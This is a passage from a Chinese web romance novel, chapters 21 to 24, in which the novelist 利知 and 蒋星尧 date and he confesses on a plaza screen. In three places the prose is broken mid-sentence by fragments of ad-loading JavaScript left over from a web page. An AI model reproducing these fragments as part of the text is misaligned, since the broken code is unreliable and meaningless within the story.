紧接着话锋一转,“是不是还烫到耳朵了?好像比嘴唇还红。” 揶揄的意味,就快要窜出屏幕了。 利知瞪他一眼,只可惜杀伤力不够,反而惹得对面的人沉沉地笑了起来。 思想了一会,利知轻声说:“我觉得,无论以后……怎么样,那半个月的事,已经翻篇了。钱,你收回去吧,我等下转回给你。” 蒋星尧敛起笑意,正色道,“你有见过追女孩子,还要女孩出钱的吗?” “可是,”利知的脸热热的,“这些都是你应得的啊,你到我家的半个月,也的确是辛苦你了。” “我就知道,”蒋星尧无奈苦笑,“是我之前考虑不够周全,我从一开始就以陪护身份出现在你面前,因此你把我们的关系,一直定义在那半个月里。” 蒋星尧敛了敛神,“现在,我把你雇我的钱退了,这样,你就从来没雇过我了。” 利知一怔,抬头看向他。 “那半个月以来,我所做的一切都是因为,”他的声音沉稳,星星耀目蓄满了诚挚,“我喜欢你,我想追到你。” * 晚上谢霄忙完发信息问利知有没事,利知简单地把韩习冰找她的事说了下。 谢霄听了气得不得了, [她这个人空有皮囊,脑子越长越歪了,是害人臆想症不成?] [活该她花了一整天立的人设,被人家三言两语戳破了哈哈哈] 又聊了一会两人才中止了聊天。 睡觉前,利知给蒋星尧打了通电话。 “嗯?想我了?”那声音慵懒又轻飘飘的,上扬的尾调更是带着股骚里骚气的。 利知被曀了一下,又觉得不服气,便反噎他,“是突然想起你来。” 蒋星尧气笑,“又来气我呢,想我今晚失眠吗,嗯?” “好吧!”利知笑嘻嘻说,“其实是想祝你今晚有个好梦来着。” 蒋星尧低声笑了起来,伴随着有序的翻纸张的声音,还有一个男人在旁边压着声音说着话。 利知一怔,“还在外面工作?” “在房间里呢,”蒋星尧说,“还有几份文件要看。” “哦……”单字带着软软的气音,让人听出别番的意味,像是不舍,又像欲言又止。 蒋星尧停下了动作,示意身边的人先出去,自己则转动椅子站起来,走到窗边,俯瞰窗外璀璨的夜景。 “这边的夜景不够栗城的好看。”他说。 利知转头看向窗外,从她这个角度看外面一片漆黑。 她收回视线,低声唤道:“蒋星尧。” “嗯?” “关于我祝福你和韩习冰的那些话,我想和你解释一下。” “好,我听着。”夜深人静,蒋星尧的声音传进耳朵更低沉迷人了。 利知的手指不自觉地搅着襟前的被子,轻声道:“她故意在群里制造和你的暧昧,我知道她是在说谎来着,所以……我才这么怼她。” 正因为知道真相,怼起她们来,还挺爽的哈哈哈。 当然这句话利知不敢说出来,她确实把蒋星尧当利刃使了。 蒋星尧沉默了一会,低声问:“你和那个韩习冰,以前是好朋友?” “嗯。”利知低头抠着被角,回应得有些沉闷。 他看过她班群的聊天截图,大概了解到,她们两个关系应该不错的,只是…… “后来怎么生疏了?”他又问。 “就,合不来。”利知说完一怔,他怎么关心起她和韩习冰关系变淡的事来呢? 她下意识的不想让他知道,当年她和韩习冰关系恶化,是有他的原因。 于是说:“我们同桌了接近两年,她比较强势,我比较软弱吧,相处下来都发现彼此性格合不来。” “嗯。”蒋星尧沉觉地应了一声。 双方陷入了沉默,利知的心一下子提了起来,不知道是不是借口太过拙劣,他产生怀疑了。 短暂的沉默过来,蒋星尧低声笑了起来。 利知一脸懵,“你笑什么啊?” “她这个人不怎么样,眼光倒是独到。” “???” “拿我来开刀,想刺激你啊。”蒋星尧笑得混不吝的,“害我还以为,她知道我是你的软肋呢。” “什,什么呀!”利知抓紧被子,嘴里辩驳着,“她是把你当成一个标杆,人人嫉妒的标杆!” “知知这么看得起我啊。”蒋星尧低声笑着说,“那下次,你带着这个标杆,去她面前溜一溜?” “……”主意不错,但…… 利知脸热热的,急忙转移话题,“白天不是还生气吗?不气啦?” “白天你给我打电话质问的时候,气就消差不多了。” 利知把脸埋在被子上,久久没出声。 蒋星尧问:“睡着了?” “没……”利知抬起头,脸蛋、耳朵到脖子都红了,她的皮肤本来就薄,白里透红,有种吹弹可破的即视感。 还好只是语音通话,她想。 * 栗城的秋天还带着夏天的气息,湿热与干燥之间暧昧不明。 聚会过了两天就是读者见面会了。 利知早早起床选衣、化妆,在手机里泽姐的催促声中赶到了书城。 这次并没有设舞台,读者成半弧围坐着,利知坐在一张稍高的凳子,可以和读者们近距离接触,还能全方位看到她的读者,她还挺喜欢这个安排的。 先是利知分享介绍她的作品,接着和读者互动,然后是签名环节。 利知坐到旁边的桌子后面,读者们有序地排队。 利知低头签名,签完笔还架着指中,抬头微笑着双手递还给读者,每一份如是。 正当她埋着头,队伍中忽然传来一阵骚动。 利知抬头望去,她是坐着的,读者站着排队,她的角度看不太清楚后面的情况。 可是她能听到排前面的读者交头接耳。 “哇好帅!” “还好高!” “还是一个人来呢!” 利知的读者大都是年轻的女孩子,寥寥几个男生都是陪着女孩子来的。 利知也很好奇,她那位又高又帅还一个人来的男读者,到底长什么样。 于是悄无声息地挪了挪凳子,歪着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头从队伍侧面去看,很容易就看到队伍后方,一道颀长的身影。 他穿着一身修身略带休闲的西装,简单不过的配色:黑色外套、白色衬衫、黑色领带,因着那出挑的身段,矜贵的气质,整个人显得超群绝伦。 难得的是他站在一众穿着休闲的人群中,并不显得格格不入,反而产生一种令人倍感愉悦的对照之美。 叫人视线停驻,心驰神往。 他似乎对此并不自知,又或是不在乎,只顾专注于手里的书,看书时略微侧着头,修长的手指不时翻动书页,嘴角噙着若有似无的笑。 可能是利知的视线穿透力太强了,他的视线一滑,对视之后,就给了利知一个wink。 救命! 还好相隔得远,要是再近点他肯定会说“知知,惊不惊喜?意不意外?”。 他一开口那妖里骚气的语调,肯定会破坏掉他那一身气质的! 不过,他什么时候回来的?也不跟她说一声。 这时前排的读者打趣, “哈哈哈咱们大大也被帅哥惊艳到了!” “牛奶糖大大,男主的素材是不是有了啊?” 利知大大方方笑着应和,手下的动作更快了。 整个过程,利知总算亲身体会什么叫喧宾夺主了: “天!我想起来了,我刷到过他的视频,好像是纵卫集团的新上任总裁!” “啊啊啊我也看过,那时就觉得帅多看了亿次,这么看真人比手机上更帅!” “大总裁也喜欢看言情小说吗?” “还用问吗!大总裁也在排队要签名啊。” “和我们喜欢同一个大大耶!” …… 直到一双熟悉的修长的手出现在眼前,利知抬起头,对上那双盈着笑意的桃花眼。 “荔枝大大,麻烦你了。” 利知低头,翻到扉页,签名,身边那批可爱的读者可没消停: “啊啊啊大总裁叫大大‘荔枝大大’!” “我们都叫牛奶糖大大的啊。” “你看他看我们大大的眼神都在拉丝!” “啊啊啊看到了!超有CP感!” “是不是‘禁欲帅气总裁VS软甜言情作家’?” “不是‘骚里骚气大总裁’VS‘软糯香甜大作家’吗?” “哈哈哈贴切!” 利知的手不禁一抖,原本正在写“糖”字“米”的一捺时,歪歪斜斜地长出一条长长的jio。 利知吸了一口气,把“唐”字用可爱的写法放在jio上。 上方的人低声笑了,不知是笑利知的字,还是听到他们组的CP。 利知抬头瞪他一眼,誓要用眼神震慑住他那作妖的嘴。 蒋星尧扬了扬眉,那模样倒是本分。 只是可爱的读者并没放过她, “啊啊啊啊大大的眼神好生动哦,娇娇憨憨的。” “他们两个肯定有戏!” 利知:“……” 心里虽在打鼓,该做的一点不落,签好名后,利知擒着笑,双手递还书。 蒋星尧也是双手接过书,只是那双手轻松地越过书最近他的那端,修长的手指在书本下方,轻轻地滑过利知的手背,然后是手指,最后挑逗地勾了勾她的食指才把书接走。 利知的脸募地一红。 失策了! 防住那张嘴,防不住作乱的手。 蒋星尧忽然弯下腰,在不逾越的距离处停下,用仅两人能听到的声音说:“我在外面等你。” 22. 第22章 整场见面会直到下午三点才结束。 方巧泽留下来和商场的工作人员收尾,挥着手赶利知走,“去去去,心都飞走了,人留这没什么用!” 利知支吾着说:“泽姐,你……看出来啦?” 方巧泽丢她一个明知故问的眼神,“自从那个帅哥出现后,你两眼放光,脸色红润,手速变快——” 啊啊啊泽姐快别说! 利知的脸爆红了,方巧泽捏了捏她的脸蛋,打趣道:“这么明显了,瞎子都能看出来了!” 利知指了指门外,小声说:“那我,那先走啦。” “快走!再慢点赶你。” 利知快步走去北门,蒋星尧发过信息说会在北门等她。 在出口通道处看到了蒋星尧的身影,身边还有几个女孩围着他吱吱喳喳的。 利知认得那几个女孩都是她的读者。 蒋星尧面带微笑,低着头听着她们说话,偶尔应上几句。 利知放缓了脚步,心里不免有些吃味,他那么温文尔雅的一面,鲜少在她面前流露呢。 其中一个女孩率先看到利知,举高手朝她用力挥舞着,“大大这边!” 蒋星尧原本侧着身站着的,女孩的话刚落,他便转过身来,看向利知。 围着他的女孩很默契地让到一边,都噙着意味不明的笑看过来。 利知走了过去,就近的女孩一把挽住利知,笑嘻嘻道:“大大累不累?” 利知笑着回:“还行。” 女孩双手合十央求道:“不是很累的话我们想和大大合张照。” “好啊。” 女孩叫了个路过的人帮忙拍照,让利知和蒋星尧站中间,几个女孩分别站两边。 利知又和几个女孩拍了单独合照,然后被推着和蒋星尧合照了几张,用的是蒋星尧的手机。 拍好了照,几个女孩先行离开,临走前,有一个还调皮地对她眨了眨眼,笑着祝她和蒋星尧百年好合。 !!! 恋爱都没谈直接百年好合了! 天才生跳级也不带这样跳的吧! 蒋星尧无辜地摊开双手,“我只说过在追你啊,可能她们觉得百年好合比较有诚意吧。” “你都和她们聊什么了?” “聊你啊,我们的共同话题就是你。” 见她将信将疑的样子,蒋星尧扬了扬眉说:“她们一开始想要我微信,我说我在追你,她们都很热情,一直给我支招呢。你看!” 他凑近,前胸靠近利知的后背,长臂一展,把手机展示在她面前,点开微信新加好友那里,“我一个都没加的。” “我又没说你……”利知转过头,耳朵不期然地擦过了一个软乎乎的东西,直到对上近在咫尺的黑眸,才察觉两人挨得非常的近! 蒋星尧为了方便说话,还俯下身,两人的姿势更像是蒋星尧半拥着利知,在她耳边低语。 利知觉得整个耳朵都热烘烘的,那一刹那的触感尤新,刚才擦过她耳朵的,是他的唇? 利知的视线游离,最后落到那抿成一条线的双唇上,视线往上飘,往常习惯盈着笑意的双眼此时幽深如墨,蕴着一股涌动。 暧昧的气息在空气中扩散。 利知舔了舔发干的唇,刚才光顾着忙,水喝少了。 她干笑着不动声色地往另一边挪了两小步,“我不是这个意思……” 利知脑袋里挖着词想要解释清楚,不然显得她在查岗似的。 “我单纯觉得,你对着别人斯斯文文的,对着我就……” “嗯?就怎样?”蒋星尧追问。 “就……”利知看着他好整以暇的模样,硬着头皮说,“没个正经样。” 蒋星尧“嗤”的一声笑了,“嗯,是没个正经样,不过,” 附她耳边,故意压低声音,“只对你。” 利知递他一个眼神,他笑得更恣意了。 “什么时候回来的?”利知问道。 “早班机。” 利知讶异道:“下飞机就来这里了?” “回了趟家里,总不能风尘仆仆来见你。” 他问:“饿不饿?” 利知下意识抚上肚子。见面会期间利知离开两次,均是去上厕所,第二次回来途中泽姐塞了面包给她,就着牛奶囫囵吞下。 刚才忙着不觉得,现在确实有点饿了,于是诚实地点了点头。 “走,先去吃饭。”蒋星尧走了几步没见人跟上,便停下来回过头,疑惑地问道:“我走得太快了?” 利知笑着跟上,“我在想吃什么呢,想得有些入神了。” 说起来,她和蒋星尧过去的相处只局限于她家里,这么正儿八经地在外面,还是第一次呢。 此时已经过了午饭时间了,他们挑一家餐厅吃点下午茶。 吃完之后利知去了一趟洗手间,出来后看到蒋星尧抱着手臂站在娃娃机前。 “你要夹吗?”利知走过去问道。 蒋星尧伸出手指,虚虚地往两个娃娃机指了指,“这个,还有那个,我在你的房间见过。” 嘿! 利知扬起脸明媚一笑,“都是我夹回来的!” “哦?”蒋星尧偏头看她,“很厉害的样子!什么技巧吗?” “技巧嘛……”利知走到两步之外的售币机前,点了最多游戏币的按钮,“就是币够多啊!” 利知正准备掏手机,蒋星尧已经扬起手机扫码付款了,边付款边问:“目标是多少个?” 利知伸出三根手指,“三个!” 见蒋星尧一愣,便问道:“多了还是少了?” 游戏币哐当哐当掉了出来,利知用透明自封袋装了满满一袋。 蒋星尧一副难以置信的样子,“这么多,就夹三个?” “有句话是这么说的,”利知晃了晃沉甸甸的游戏币,“技术不够,用钱来凑。” 蒋星尧一脸讳莫,示意她先玩。 利知兴冲冲地夹了五次,五次告败,气恼之际转头看旁边的人,只见他神情淡然,一副老神在在的模样。 利知把袋子递给他,“要不你来?” “好,我试试。”蒋星尧没接过袋子,只是就着利知的手取出两个,给利知面前的游戏机投进币。 为了方便操作,他俯身握着摇柄,利知的手刚好撑在摇柄附近,他另一只手直接穿过利知的手臂,停在按钮上。 这么一来倒像是蒋星尧挽着她在操作。 耳旁是温热的气息,若有似无,但存在感极强。 利知装作不经意地抬起手,侧了下身子,把位置腾出来给他。 蒋星尧则全神贯注地望着里面的娃娃,徐徐移动摇柄,按下按钮。 没夹到。 “没事,再来!”利知很自觉地把袋子口敞开,让他取币。 接着又试了一次,没成功,他移步到旁边的机子,一次就夹到了娃娃。 利知目瞪口呆,“这……和机子有关吗?” 蒋星尧笑着说:“可能我和这个机子有缘。” 之后又夹了两个。利知不信邪,叫他换一部机子,结果又是两个。 “够了……”利知木木道,“不是机子的问题,是人!” 蒋星尧安慰性地揉了揉她的头发。 他们夹完娃娃去了射箭俱乐部玩射箭。 利 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 知没想到蒋星尧射箭也这么好,她不会,蒋星尧就教她,俨然一副严师的样子。 为了调整她两只手的姿势,蒋星尧从她后面环住她,两手分别握着她的双手,说的却是严肃的话。 利知着实没什么射箭天赋,玩了一会,索性在旁边看他射。 每次他发箭时总叫利知猜他能射到哪,一开始利知乱猜,后来干脆每次都说十环。因为中的次数多啊。 从射箭俱乐部出来后,他们去了一家新开的奶茶店。 利知点了一杯五分糖的黑糖奶茶,蒋星尧点了一杯全糖柠檬茶。 “会不会太甜了?”利知问。 蒋星尧认真地想了一下,“试试才知道。” 这时一个店员拿着一部相机走过来,笑着对他们说:“两位要不拍张合照呀?” “今天我们店新店开业,有福利活动哟!”店员指了指墙上诺大的留言板,“把照片放在留言板上,可送三张七折券哦!” 利知有些心动了,这家店是连锁店来的,她和高晓莱都挺喜欢这家的出品,便问:“有时间限制吗?” “今年内用就行。” 利知看向蒋星尧,蒋星尧意会,“那拍吧。” 店员捧着相机让两人调整姿势,“两位再靠近一点,亲密一点,嗳两位看着很登对啊,不用太生分啦!” 利知有些尴尬地解释,“我们不是情侣。” 店员先是一愣,随即笑哈哈说:“朋友也可以啊!” 她指了指另一面墙说:“照片可以贴这里呢,这里是朋友墙。” “那面是情侣墙?”蒋星尧问。 “啊对对!”店员说,“情侣不一定能天长地久呢,友情可以哈!” 利知苦着脸干笑了下,她和蒋星尧的友情天能长地久啊,也没让人多开心的。 拍好照,店员把照片贴到墙上。 利知看了照片墙一会,心里有些纳闷。 其实多加留意就看到情侣墙和朋友墙还是有很大区别的,最大区别就是性别。 朋友墙上大多都是女孩合照,也有部分男孩的,极少数是男女的。 蒋星尧本来生得好看,又是男女合照,在朋友墙上就更扎眼了。 很快叫到他们的号了,蒋星尧去取回来,把奶茶递给利知。 利知接过奶茶,悻悻地说:“走吧。” “等等。”蒋星尧把吸管插进柠檬茶里,递到利知面前,“试试?” “啊?” “你不是问会不会很甜吗?试试就知道了。” “我是问,你喝会不会很甜。” “我一个人的没参考价值啊,”他又把吸管递近了些,“嗯?” 利知有点难为情,“我喝了,你怎么喝啊?” “没事,”蒋星尧对她笑了笑,“我知道你病好了,不会传染的。” 啊这。 利知硬着头皮吸了一口,冰冰凉凉的,倒不是很甜。 “还行,酸酸甜甜的。”她把自己还没开封的吸管给蒋星尧,“用这个吧。” 然而蒋星尧已经就着利知刚用过的吸管吸了一口,还评价道:“嗯,甜度刚好。” 利知有些呆愣地望着柠檬茶上那条亮绿色的吸管,顶端处被湿润过显得颜色更深些,仿佛能看到两处深浅不一的水渍,交叠、延伸。 利知低着头正要往外走,余光发现蒋星尧脚步一转,她看过去,只见他走到朋友墙前站定,抬手把照片取了下来。 然后! 走到情侣墙前,把照片贴上去! 他退后一步,喝了一口柠檬茶,闲闲地欣赏了一会,随即心满意足地笑了,“贴这里顺眼多了。” 23. 第23章 广场上,一群鸽子热切地凑近前来喂食的人。鸽群外,一个男人仰头吹起口哨,随着扬长的口哨声,楼顶传来一阵密集的“噗噗”声,又一群鸽子纷纷飞落下来。 一时间,欢声笑语,吹哨声,翅膀拍打声和咕咕声混杂在一起。 广场一隅,利知喝着奶茶,眺望着眼前的热闹,看似闲闲,实质心里有点怏怏不乐。 他们今天吃饭逛街都做了,蒋星尧还喝了她喝过的柠檬茶,还把他们的合照贴到情侣墙上。 可是! 他们还是名不正言不顺的! 当初揭他马甲的时候,蒋星尧是有表白,那是为了表明他的来意而匆匆表的白。 可能为了给她一个适应期吧,之后的每次聊天他都直截了当地挑破暧昧,把“喜欢你”、“在追你”挂在嘴边,但终归不是正式表白。 都过去那么久了,蒋星尧怎么!还不再来表白! 不是半开玩笑,是正正经经地问她一句,要不要在一起那种! 利知往旁边的人瞟了一眼,发现他嘴角上扬,轻松又愉悦地望着人群和鸽群。 利知顺势望去,一个小男孩高声嚷着他妈妈快去喂鸽子,他妈妈把饲料放进手心里,鸽群蜂拥而至,小男孩吓白着脸去摸鸽子,最后被一个鸽子啄了一下,吓得一屁股坐到了地上,然后哇一声大哭出来。也不知道是吓得,还是痛得。 蒋星尧见状笑了出来,利知也笑了笑,喝了一口奶茶,掂在手上还是沉甸甸的,感觉怎么喝都喝不完呢。 店铺里正播放着熟悉的旋律,朗朗上口的副歌响起时,一下子吸引了利知的注意力。 友达以上 恋人未满 甜蜜心烦 愉悦混乱 我们以后 会变怎样 我迫不及待想知道答案 …… 你还等什么 时间已经不多 再下去只好只做朋友 …… 不过三个字 别犹豫这么久 只要你说出口 你就能拥有我 利知那原本勉强上扬的唇线拉直了。 蒋星尧也察觉她的变化了,歪着头轻声问:“怎么了?” “没什么。”利知声音低落地说,把揣在面前的奶茶端正地放到身侧。 蒋星尧看了一眼她喝剩一半的奶茶,轻声问:“喝不下了?” “嗯,可能午饭还没消化完呢。” “给我吧。”蒋星尧展开手掌,“喝不下别勉强了。” 利知哦了一声,把奶茶交给了他。 刚才见识了他站在垃圾桶几米开外投的完美抛物线,以为他依葫芦画瓢,却不料!! 他接过了之后,自然而然地喝起来。 “你——”利知一时词穷了,理了好一会才又憋出几个字,“做什么?” 蒋星尧摇了摇奶茶,“喝奶茶啊。” 利知一个字一个字吐出,“那是我喝过的。” 蒋星尧不以为然,“又不是没喝过。” 第一次用她用过的吸管还有点害羞,而此时利知的心情有种难以形容的复杂。 算了,随他吧。 蒋星尧侧着瓶身看上面的糖份比,蹙着眉说:“不够甜。” * 午饭吃得晚,晚饭他们就没随大流去吃饭,而是去看了一部口碑不错的电影。 从电影院出来,两人都有点饿了。利知不大想吃饭,于是领着蒋星尧去了旁边的小吃街吃小吃。 吃完散步消食,不知不觉到了广场边上。 此时夜幕笼罩,鸽群已经下班了,诺大的广场上人群散落,轻松悠闲。 两人沉默地走着。 蒋星尧脚步时快时慢,有时像是无意识地加快,意识到利知还在后头,又缓慢下来。 “回去了吧?”利知问。 蒋星尧抬手看了一眼手表,“要不再走走?” “哦。” 广场上方的大屏幕轮番播放着广告,箔白的光把热闹的广场照得清亮通透。 忽然,周围亮起暖白色的光。树上、扶手栏杆上的氛围灯,像是得到了严密的指令般,倏地亮起。 这一瞬过于突然,惹来人群一阵阵的惊哗声。 “今晚的灯怎么亮得这么整齐。” “好像比平时多了很多灯耶!” “嗯,比平时亮得晚了……” 利知安静地欣赏了一会,随后扯了扯蒋星尧的衣角,开心地说:“哇,好漂亮啊!” 干燥温暖的手掌顺势裹住了她扯他衣角的小手。 利知愣了一下,抬头去看他。 冷暖交织的光映照在那双灼灼的眼眸里,像一簇簇熊熊热火困于浩瀚之中,热情又克制,又像是蕴藏着千言万语。 利知像被烫了一下,连忙移开目光。 他们站的是广场边上的一个小平台,正面对着大屏幕,沿着蜿蜒的阶梯而下便是大广场,阶梯两旁,如满天星星般的灯错落有致地缠绕着栏杆上。 蒋星尧牵着利知拾阶而下,信步走到人群中。 忽然灯光换变,原来烁亮的灯光暗了下来,伴随着周围响起一片惊呼声,大家都抬头看向大屏幕。 硕大的屏幕上,浅蓝色的背景上,浮显着几个鎏金色的字: [知知: 做我的女朋友吧!] “哇靠,有人表白!” “是谁?” “不造啊,没署名。” “那对肯定在我们之中。” “这不明摆着吗,用小名还不署名,人家只想跟对象表白。” “不是向你表白就是了。” “嗐……” 人群中的视线四处散落,带着一种八卦的探寻。但不是非揪出个所以然,单纯是凑个热闹,图个乐呵。 利知盯着那些字看了好一会,才缓缓转回头来,呆滞过后是满满的不可思议。 蒋星尧的神情肃然,眸光里流动着那抹鎏金色,有一种神圣的纯粹,又干净剔透。 “利知,我记得你在作话里写过,你喜欢隆重而平凡的告白仪式。”蒋星尧一脸真诚地望着她,“我不抽烟不赌博,就偶尔喝点酒,虽然看起来像个海王,实际上一次恋爱都没谈过。我不大懂女孩子的心思,也不懂得浪漫,甚至在追你这件事上,都用了一种你不待见的方式。” 他默了一会又说:“我在感情上挺谨慎的,从开始留意你到喜欢,我用了两年时间,等我意识到自己喜欢你的时候,我就害怕了,要是你被人抢走了,那我岂不是一场空欢喜?我甚至想过毛遂自荐,用那仅有的同窗之情博得你的关注。 我知道你介意我隐瞒身份接近你这件事,可除了这个之外,我对你说过的话,还有对你的感情,都没半点欺骗的。” 那握着利知的手不自觉地收紧,“知知,你愿意给我一个机会吗?” 那双眼紧锁着利知,好像生怕错过她每一个微小的表情,而脸上的神情更是肉眼可见的忐忑起来。 “蒋星尧。” 那如银铃般的声音,此时压低了声调,用与往常无异的语气轻声唤他,仿佛往杂乱无章之中注入了镇静剂。 那握着她的手放松了下来。 “其实,我找陪护,还挺挑的,你之所以那么容易进入我家,是因为,那个人是你啊。”利知知道此时自己的脸肯定很红,很害羞,也很别扭,但还是强迫自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对上他的双眼,“我……我要做你女朋友!” 蒋星尧愣了好一会才缓过来,如释重负地松了一口气,随后兀自笑了起来。 利知想到网上的一句话——笑得像个两百斤的大胖子。 她无奈地问:“笑什么呀?” “我开心啊。”蒋星尧乐呵呵道,“多怕你拒绝我啊,要是这次再拒的话,我就——” “就怎么样?”利知追问。 蒋星尧狡黠一笑,“用强的啊。” !!! 蒋星尧见她一脸震惊,随即转为鄙夷,便说:“不信?” 蒋星尧轻轻挑起她的下巴,慢慢俯近。 利知感到心脏都要跳到嗓子眼了,心知接下来会发生什么,于是顺着他的力道,微微扬着头,紧张地闭上了眼。 黑暗中感官尤其明显。晚间的清风轻轻拂过,裸露在空气中的双唇变得异常敏感。 咦?迟迟没有料想的触感。 等到心里都有点毛毛的,她悄悄撑开一丝眼缝,那张放大的俊脸近在眼前,只是眉头紧拧着,神情很是纠结。 利知一下子清醒过来了,顿时恼羞成怒,撤离他指间的掌控,错开脸看向别处。 她到底在期待什么啊啊啊! 蒋星尧轻轻叹了一口气,不由分说地把人揽在怀里,声色隐忍道:“我才好没多久,医生说这个时候传染性极强,我怕会传给你。” 利知把脸埋在他的心口处,能清晰地听到他强而有力的心跳声。好像与她的不相上下! 利知抬起手,手指纠着他手臂上的衣服,轻声嘟囔道:“我,我又没说什么。” “嗯。”蒋星尧把力度又收紧了几分,“是我在瞎期待,嘶……” 那攀上他手臂的小手加了几分肉紧,拧住了他的皮肉。 不疼,反而有种难以言喻的,爽感。 两人紧紧地相拥着,恍然是在人群中普普通通的一对。 利知一抬眼就能看到屏幕上,那几个醒目的鎏金色大字。 说不感动是假的。 她记得当初写下那段作话的情景,那是一次写了男主公然向女主表白的情节,读者们感叹太真实太甜了,问是不是作者本人的经历。 母胎SOLO的人隔着手机屏幕扼腕长叹,之后嘴角挂起苦涩的微笑,在新章节的作话里写道: [作者比较喜欢那种隆重中又平凡的告白,所以呢不是作者本人的经历哈] * 回家的路上,利知坐在副驾位安静如斯,双手交叠在腿上,两根手指在空中打着圈圈。 她自己都觉得有点闲扯,但心里总有个疑团:蒋星尧说用了两年时间喜欢上她,那喜欢的契机在哪呢? 她低声问:“你是什么时候……嗯……喜欢我的?” 蒋星尧目视前方,闲闲道:“两年前的校庆之后,开始留意你的。” 留意? 利知试探地问:“关注我微博?” “嗯,还有作话,”蒋星尧笑道,“你喜欢在作话里说一些趣事。” “……你帐号叫什么?” “我很少留言的,可能你没留意到。” 利知想到他说过校庆那晚送她回家,她胡说八道了些事,虽然难以启齿,还是开口问道:“该不会是因为我提起送你桶装水,你才留意的吧?” 蒋星尧看向她,狡黠一笑,“还有一些话印象挺深的——” 他像模像样地学着利知的语气说:“你可是我们学校公认的男神!不是徒有外表那种,你的内在比你外表更漂亮!” “……” 正好红灯,他偏过头好整以暇地望向她,“我的知知原来那么早就知道我内里,很漂亮了呢!” 24. 第24章 蒋星尧说这话的时候不疾不徐,说到“内里”的时候,缓慢停顿了一下,仿佛突出重点般。 内里。漂亮。 利知不期然想到衬衫敞开的蒋星尧。有力的胸肌,板正的腹肌,还有那颗痣。 她咽了咽口水,硬着头皮说:“嗯,我还挺有先见之明的!” 蒋星尧笑了,眼里仿若装下星辰大海。 * 读者见面会过后,利知依旧忙着存稿。蒋星尧更是忙得不着地。 这晚凌晨,外面万籁俱寂,利知架起电脑,在明黄的灯光下有了一丝灵感的快意。 手机在这时跳出一条消息:[睡了没?] 是蒋星尧发来的。 利知只瞄了一眼,气定神闲地把视线投回电脑。 这么些天,两个人因为没时间见面,都是微信聊天或者视频。 蒋星尧从在她家住就多次叮嘱她不要熬夜码字,最近晚上聊天更是多次提醒,还开着视频盯着她关电脑回床。 这么一两次后,利知学聪明了,十一点过后就不回信息不接视频。 此时此刻发来的信息,十有八九又是查岗。 回了,证明她又在熬夜; 不回,起码是,在睡了在睡了。 过了一会,又来了信息。 [真睡了啊] [那明天再说] 利知拿起手机,挣扎了一会,还是放下了。 要真有什么重要的事,也不会半夜来找啊。 肯定是等着她落网的! 于是一咬牙,关机,继续啪啪啪键盘。 第二天醒来,利知第一时间查看手机,那之后蒋星尧果真没再发信息了。 倒是有谢霄发来的消息: [亲爱的今晚聚餐去吗?] [还没醒?] 聚餐? 利知一头雾水,便给谢霄打了个语音电话。 谢霄一接起便了然道:“昨晚又熬夜赶稿啦?” 利知嘿嘿笑着应下,随后问:“你说今晚聚餐?” “你没看群吗?”谢霄随即说,“是哦,你才起床。” “上次同学会不是建了个约饭的群吗?昨晚,噢不,是今天凌晨,蒋星尧在群里敲定时间,说今晚聚会。现在群里还在聊着呢!” 利知愣了一下,想起昨晚蒋星尧找她说有事要说,不会是说聚会的事吧? 怎么这么仓促呢? 利知问:“大家都答应去了?” “挺多人说去的。群里一大早热闹得很,本来这个群就是为了这次聚会建的,都说晚上没事的都会去。” 谢霄问她,“你今天有空的吧?” “有是有,就是得搞清楚……”利知嘀咕道,又匆匆和谢霄说晚点给她回复就挂了电话。 大致看了下群里的消息,都在围绕今晚的聚餐事宜。 一路往上划,终于看到蒋星尧发的消息,对照着时间来,是在找她没多久发的信息。 紧接着给蒋星尧打一通电话。 “嗯?早啊。”蒋星尧的声音带着一丝朦胧的沙哑。 利知转头看向窗外的明媚,很实诚地说:“不早了,都日上三竿了。” 蒋星尧低笑着说:“昨晚喝多了,睡过头了。” 利知怔了怔,“昨晚喝酒了?” “嗯。” 难得啊! 他应该只有宿醉了才会起得比她晚吧! 耳边传来一阵窸窸窣窣的声音,利知猜想他正准备下床。 她忽然心生好奇了,便问:“那你记得昨晚都做了什么,说了什么吗?” 蒋星尧拎着被角的手停滞在空中,表情随之凝滞。 新产品做了各方面的调整过后,在昨天质检终于过关了,接下来可大量投入生产。这段时间的忙碌状态算是落下内幕,于是请大家出去吃了一顿,可能一下子放松懈下来了,吃吃喝喝都很尽兴,导致最后大家都喝多了。 他也不例外,但没有丧失记忆。 只是酒精的刺激让他处于一种亢奋状态,把那份因为忙碌而不得不抛下的念想也勾起来了。 事实上自确立了关系那天,他就没见过利知了。 好想去找她! 更想告诉所有认识的人,他恋爱了! 当时的脑袋混沌又兴奋,纯靠着肌肉意识,先给她发信息,结果她睡了没回。 接着找到当初建的群,然后…… 他脑袋钝痛了一下,哑着声叫利知等一下,然后调出群聊天。 群里已经筑起了高楼大厦,直接点回昨晚他发的消息。 很直接了当地约了聚会。 对!直接打上[今晚聚会]。 其实喝多了的他当时想要表达的是“现在出来聚会”! 可当时已经是凌晨一点了,“今晚聚会”就这样,演变成真今晚了。 还是连地点他都私自选好那种。 更离谱的是大家非但没怀疑,还很活跃地筑起高楼讨论起今晚聚会的事宜。 蒋星尧抬手捂着发胀的脑袋,哀声说:“酒后误事啊!” 利知笑了出来,“地点都定好了,只能将错就错呗。” “只能这样了。”蒋星尧停顿了一下,低声问,“晚上我去接你?” 利知一愣,“你接我?” “嗯,一起去啊。” 一起去? 那不就是公开他们的关系? 利知脑袋嗡的一声,说话也语无伦次,“我我……谢霄约我了……” “你和同学去?”蒋星尧的声音沉了些,“那我呢?” 利知为难起来,“我们一起出现,他们会觉得很奇怪的。” “没什么奇怪的,”蒋星尧说,“谈恋爱了而已,又不偷不抢的。” “是这么说……” “我们不一起去,那整个晚上我们都当作不认识?” “……”好像更怪了! 利知苦恼道:“那怎么办?” 其实蒋星尧原本打算再过一段时间再约聚餐的,他和利知才刚在一起,这么快让同学知道,着实仓促了。 而显然利知也没准备好。 他低声说:“知知,要不我取消吧。” 利知一怔,“以什么理由取消?” “直接说酒后乱发的。” 利知笑了,“这不是明放鸽子吗?” 蒋星尧苦笑,“自己种的果自己吃掉。” 